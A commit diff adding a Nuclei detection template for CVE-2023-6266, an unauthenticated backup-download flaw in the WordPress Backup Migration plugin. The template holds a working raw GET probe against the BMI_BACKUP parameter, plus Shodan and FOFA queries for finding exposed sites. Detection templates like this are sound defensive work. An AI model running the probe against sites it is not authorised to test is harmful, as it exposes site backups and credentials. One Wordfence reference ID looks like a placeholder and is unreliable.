Update metadata and improve template quality

http/cves/2023/CVE-2023-6266.yaml

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+id: CVE-2023-6266
+
+info:
+  name: WordPress Backup Migration - Unauthorized Access
+  author: riteshs4hu
+  severity: high
+  description: |
+    The Backup Migration plugin for WordPress is vulnerable to unauthorized access of data due to insufficient path and file validation on the BMI_BACKUP parameter in all versions up to, and including, 1.3.6. This makes it possible for unauthenticated attackers to download arbitrary backup files.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-6266
+    - https://www.wordfence.com/threat-intel/vulnerabilities/id/d1b3b1e5-3b3e-4b3e-8b3e-3b3e3b3e3b3e
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2023-6266
+    cwe-id: CWE-552
+    cpe: cpe:2.3:a:backupbliss:backup_migration:*:*:*:*:*:wordpress:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: backupbliss
+    product: backup_migration
+    shodan-query: http.html:/wp-content/plugins/backup-backup/
+    fofa-query: body=/wp-content/plugins/backup-backup/
+  tags: cve,cve2023,wordpress,backup,backupbliss,unauth
+
+variables:
+  file: "{{randstr}}.zip"
+
+requests:
+  - raw:
+      - |
+        GET /?backup-migration=BMI_BACKUP&backup-id={{file}} HTTP/1.1
+        Host: {{Hostname}}
+
+    redirects: false
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "{{file}}"
+
+      - type: status
+        status:
+          - 200